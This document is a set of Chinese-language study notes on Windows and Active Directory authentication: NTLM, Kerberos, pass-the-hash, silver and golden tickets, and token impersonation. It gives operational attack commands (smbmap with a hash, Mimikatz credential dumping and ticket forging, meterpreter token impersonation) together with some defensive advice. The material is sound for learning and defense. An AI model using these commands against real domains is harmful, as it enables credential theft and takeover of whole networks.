目錄
1.密碼的存放位置
2.NTLM(NT LAN Manager)Hash
3.NTLM Hash ---産生
4.本地認證流程
5.Windows 網絡認證
6.NTLM(NT LAN Manager) 協定
7.NTLM v2協定
8.Pass The Hash(哈希傳遞)
9.Active Directory(活動目錄)
10.域認證體系- Kerbroes
11.白銀票據
12.黃金票據
13.Tickets總結
14.Windos Access Token
1.密碼的存放位置
路徑:%SystemRoot%\system32\config\sam,當我們登陸系統的時候,系統會自動的讀取SAM檔案中的“密碼”與輸入的“密碼”進行對比,如果相同,證明認證成功。
2.NTLM(NT LAN Manager)Hash
NTLM Hash 是支援Net NTLM 認證協定以及本地認證過程中的一個重要參與物,其長度為32位,由數字以及字母組成。
在Windows本身不存儲使用者的明文密碼,它會将使用者的明文密碼經過加密算法後存儲在SAM資料庫中。
當用于登陸時,将使用者輸入的明文密碼也加密成NTLM Hash,與SAM 資料庫中的NTLM Hash進行比較。NTLM Hash的前身是LM Hash,目前基本被淘汰,但是還是存在。
3.NTLM Hash ---産生
4.本地認證流程
Windows Logon Process(即 Winlogon.exe),是Windows和NT使用者登陸程式,用于管理使用者登陸和退出。
LSASS 用于微軟Windows系統的安全機制。它用于本地安全和登陸政策
5.Windows 網絡認證
在内網滲透中,經常遇到工作組環境,而工作組環境是一個邏輯上的網絡環境(工作區),隸屬于工作組的機器之間無法互相建立一個完美的信任機制,隻能點對點,是比較落後的認證方式,沒有信托機構。
假設A主機與B主機屬于同一個工作組環境,A想通路B主機上的資料,需要将一個存在于B主機上的賬戶憑證發送給A主機,,經過認證才能夠通路B主機上的資源
最常見的服務:SMB服務,端口:445
6.NTLM(NT LAN Manager) 協定
早期SMB協定在網路上傳輸明文密碼。後來出現 LAN Manager Challenge/Response驗證機制,簡稱LM,它是如此簡單以至于很容易就被破解
微軟提出了WindowsNT挑戰/響應驗證機制,稱之為NTLM。現在已經有了NTLMv2以及Kerberos驗證體系
挑戰(Challenge)/響應(Response)
第一步協商
用戶端主要在這一步向伺服器确認協定的版本,是V1還是v2,詳細步驟不隻這一點
第二步 質詢完整過程
注:Net NTLM Hash = NTLM Hash(Challenge)
注:Response的表現形式是 Net-NTLM Hash,它是由用戶端提供的密碼Hash加密Server傳回的Chanllenge産出的結果
7.NTLM v2協定
NTLM v1 與 NTLM v2 最顯著的差別是Challenge與加密算法不同,共同點就是加密的原料都是NTLM Hash。
Challange:NTLM v1的Challenge有8位,NTLM v2的Challenge位16位
Net-NTLM Hash:NTLM v1的主要加密算法是DES(對稱加密),NTLM v2的主要加密算法是HMAC-MD5
8.Pass The Hash(哈希傳遞)
哈希傳遞能夠在不需要賬戶明文密碼的情況下完成認證的一個技術
作用:
解決了滲透中擷取不到明文密碼,破解不了NTLM Hash而又想擴大戰果的問題
條件:
被認證的主機能夠通路到伺服器
被傳遞認證的使用者名
被傳遞認證使用者的NTLM Hash
工具:
Smbmap
smbmap ip -u administrator -H 哈希值 -x whoami
CrackMapExec
Smbexec
Metasploit
9.Active Directory(活動目錄)
Active Directory存儲了有關網絡對象的資訊,并且讓管理者和使用者能夠輕松查找和使用這些資訊。Active Directory使用了一種結構化的資料存儲方式,并以此作為基礎對目錄資訊進行合乎邏輯的分層組織。
網絡對象分為:使用者、使用者組、計算機、域、組織機關以及安全政策
功能:
伺服器以及用戶端計算機管理/使用者服務/資源管理/桌面配置/應用系統支撐
10.域認證體系- Kerbroes
Kerberos是一種網絡認證協定,其設計目标是通過密鑰系統為客戶機/伺服器應用程式提供強大的認證服務。
該認證過程的實作不依賴于主機作業系統的認證,無需基于主機位址信任,不要求網絡上所有主機的實體安全
此過程假定網絡上傳送的資料包可以被任意地讀取、修改和插入資料
kerberos作為一種可信任的第三方認證服務,是通過傳統的密碼技術(如:共享秘鑰)執行認證服務。
域認證所參與的角色
Client
Server
KDC(key Distribution Center)=DC(Domain Controller)
- AD(account database):存儲所有client的白名單,隻有存在于白名單的client才能順利申請到TGT
- AS (Authentication Services):為client生成TGT(Ticket Granting Ticket)的服務
- TGS(Ticket Granting Service):為client生成某個服務的ticket
大緻過程
- 1.Client請求Kerberos服務(請求中包含了Client Name 也就是使用者名),如果主機名存在于ad中,就放回TGT給Client
- 2.Client拿着TGT去向Kerbroes發起請求說需要指定服務的權限,TGS傳回Ticket(Server Hash)給Client。
- 3.Client拿着Ticket去請求登入服務,服務那邊又會去問Kerbroes這個ticket是否是真實的,是就給通過,認證完成。
詳細過程
第一步:
AS_REQ: Client向KDC發起AS_REQ,請求憑據是Client hash加密的時間
d
AS_REP: KDC使用Client hash進行解密,如果結果正确就傳回用krbtgt hash加密的TGT票據,TGT裡面包含PAC,PAC包含Client的sid,Client所在的組。
TGS_REQ: Client憑借TGT票據向KDC發起針對特定服務的TGS_REQ請求
TGS_REP: KDC使用krbtgt hash進行解密,如果結果正确,就傳回用服務hash 加密的TGS票據(這一步不管使用者有沒有通路服務的權限,隻要TGT正确,就傳回TGS票據)
AP_REQ: Client拿着TGS票據去請求服務
AP_REP: 服務使用自己的hash解密TGS票據。如果解密正确,就拿着PAC去KDC那邊問Client有沒有通路權限,域控解密PAC。擷取Client的sid,以及所在的組,再根據該服務的ACL,判斷Client是否有通路服務的權限
11.白銀票據
白銀票據特點:
1.不需要與KDC進行互動
2.需要目标服務的NTLM Hash
在第三步認證中的Ticket的組成: Ticket=Server Hash(Server Session Key+Client info + End Time)
當擁有Server Hash時,我們就可以僞造一個不經過KDC認證的一個Ticket。
PS:Server Session Key在未發送Ticket之前,伺服器是不知道Server Session Key是幹什麼的,是以一切憑據都來源于Server Hash
白銀票據的僞造:
Mimikatz:(現在在msf中改為了kiwi)
- privilege::debug
- kerberos::list #列出票據
- kerberos::purge #清除票據
- sekurlsa::logonpasswords #擷取service賬戶hash 和sid
我們也可以直接将kali中的mimikatz.exe通過meterpreter上傳到目标機中
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
然後運作
- kerberos::golden /domain:<域名>/sid:<域SID>/target:<目标伺服器主機名> /service:<服務類型> /rc4:<NTLM Hash> /user:<使用者名>/ptt
預設服務
由于白銀票據需要目标伺服器的Hash,是以沒辦法生成對應域内所有伺服器的票據,也不能通過TGT申請。是以隻能針對伺服器上的某些服務區僞造。
防禦
1.盡量保證伺服器憑證不被竊取
2.開啟PAC(Privileged Attribute Certificate)特權屬性證書保護功能,PAC主要是規定伺服器将票據發送給kerberos服務,由kerberos服務驗證票據是否有效
開啟方式:将系統資料庫中HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters中的ValidateKdcPacSignature設定為1
12.黃金票據
特點:
1.需要與DC通信
2.需要krbtgt使用者的hash(也就是KDC Hash,TGT)
msf kiwi 僞造
meterpreter > golden_ticket_create -d 域名 -k NTLM_hash -s SID值 -u 名字 -t 票據存放位置
meterpreter >kerberos_ticket_list 票據存放路徑
mimikatz 僞造
kerberos::golden /domain:<域名>/sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意使用者名> /ptt
13.Tickets總結
黃金票據:從攻擊面看,擷取krbtgt使用者的hash後,可以在域中進行持久性的隐藏,并且日志很難溯源,但是需要拿到DC權限,使用黃金票據能夠在一個域環境中長時間控制整個域。
從防禦角度看,需要經常更新krbtgt的密碼,才能夠使得原有的票據失效。最根本的辦法是不允許域管賬戶登陸其他伺服器。
白銀票據:從攻擊面看,僞造白銀票據的難度比僞造黃金票據的難度較小,因為一個域中的伺服器如果對外的話,非常容易被入侵,并且容易被轉儲Server Hash
從防禦角度看,需要開啟PAC認證,但這會降低認證效率,增加DC的負擔,最根本的還是要加強伺服器本身對外的服務。
14.Windos Access Token
Windows Token 其實叫Access Token(通路令牌),它是一個描述程序或者線程安全上下文的一個對象。不同的使用者登入計算機後,都會生成一個Access Token,這個Token在使用者建立程序或者線程時都會被使用,不斷的拷貝,這也就解釋了A使用者建立一個程序而該程序沒有B使用者的權限。
種類: Access Token分為兩種(主令牌、模拟令牌)
一般情況下,使用者輕按兩下運作一個程式,都會拷貝“exeploer.exe”的Access Token
當使用者登出後,系統将會使主令牌切換為模拟令牌,不會加強令牌清除,隻有在重新開機機器後才會清除。
組成:
使用者賬戶的安全辨別符
使用者所屬的組的SID
使用者辨別目前登陸會話的登陸SID
使用者或使用者組所擁有的權限清單
所有者SID
主要組的SID
通路控制清單
通路令牌的來源
令牌是主要令牌還是模拟令牌
限制SID的可選清單
目前的模拟等級
其他統計資料
令牌假冒(msf)
meterpreter > list_tokens -u
DC通路共享
可以看到多處了一個token
這個時候我們僞造這個令牌
meterpreter > impersonate_token xxx\\Administrator
meterpreter > getuid Server username: xxx\Administrator
這個時候我們已經是域管理賬戶了
我們可以使用,假冒令牌進行執行
execute -t
防禦
禁止Domain Admins 登陸對外且未做安全加強的伺服器,因為一旦伺服器被入侵,域管理者的令牌可能會被攻擊者假冒,進而控制DC
如果想清除假冒,重新開機伺服器即可。
注:文章内容部分摘抄自b站某個視訊,僅僅作為筆記使用。